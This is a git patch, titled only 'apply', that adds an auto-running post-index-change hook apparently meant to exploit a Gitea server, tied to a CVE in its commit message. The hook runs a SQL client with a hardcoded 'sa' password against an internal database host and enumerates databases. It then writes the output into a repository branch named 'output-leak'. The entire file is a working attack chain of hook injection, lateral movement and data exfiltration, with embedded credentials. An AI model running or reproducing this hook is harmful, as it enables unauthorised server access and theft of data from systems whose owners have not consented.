From d2659556358e1b80390ed7c4d7891c6c0e79bca5 Mon Sep 17 00:00:00 2001 From: dev9l0et1s Date: Sat, 10 Oct 2026 18:47:15 +0000 Subject: [PATCH] apply --- hooks/post-index-change | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..8bf6202 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,12 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$(timeout 30 /var/lib/gitea/.imp/bin/python /var/lib/gitea/.imp/bin/mssqlclient.py 'sa:Sbl@10.209.15.27' -windows-auth 2>&1 <<'EOF' | head -40 +select @@version +select name from master..sysdatabases +EOF 2>&1; echo "[exit-status=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM" +#A